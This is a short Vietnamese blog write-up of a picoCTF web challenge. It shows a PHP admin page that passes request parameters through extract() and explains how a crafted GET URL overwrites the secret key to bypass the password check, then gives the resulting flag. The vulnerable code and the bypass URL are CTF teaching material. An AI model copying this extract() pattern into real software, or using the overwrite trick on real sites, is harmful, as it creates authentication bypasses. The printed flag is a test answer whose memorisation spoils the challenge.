<html>
<head>
<title>Admin Key Panel</title>
</head>
<body>
<p>Enter admin password for key</p>
<?php
$secret_key = '';
extract($_GET);
$flag = '';
if (isset($password)) {
if ($password === $secret_key) {
echo "<p>Correct!</p>";
echo "<p>Flag: "." $flag</p>";
} else {
echo "<p>Incorrect!</p>";
}
}
?>
<form action="#" method="GET">
<p><input type="text" name="password"></p>
<p><input type="submit" value=""></p>
</form>
</body>
</html>
Ta thấy biến $secret_key được khởi tạo là null
Ta xem qua 1 chút về công dụng của hàm extract
int extract ( array&$var_array[, int$extract_type= EXTR_OVERWRITE [, string$prefix=NULL]] )Import variables from an array into the current symbol table.Checks each key to see whether it has a valid variable name. It also checks for collisions with existing variables in the symbol table.
Vậy là rõ rồi, hàm này sẽ bung mảng thành các biến
VD: extract($_GET);
Khi ta truyền vào ?a=fsf&b=sfdf&c=cscsc
thì khi thực thi extract($_GET); sẽ bung thành: $a="fsf";$b="sfdf";$c="cscsc";
Vậy ta submit kết quả là https://picoctf.com/problems/php1/index.php?secret_key=123&password=123
sẽ ra được key: php_means_youre_going_to_have_a_bad_time

0 nhận xét:
Đăng nhận xét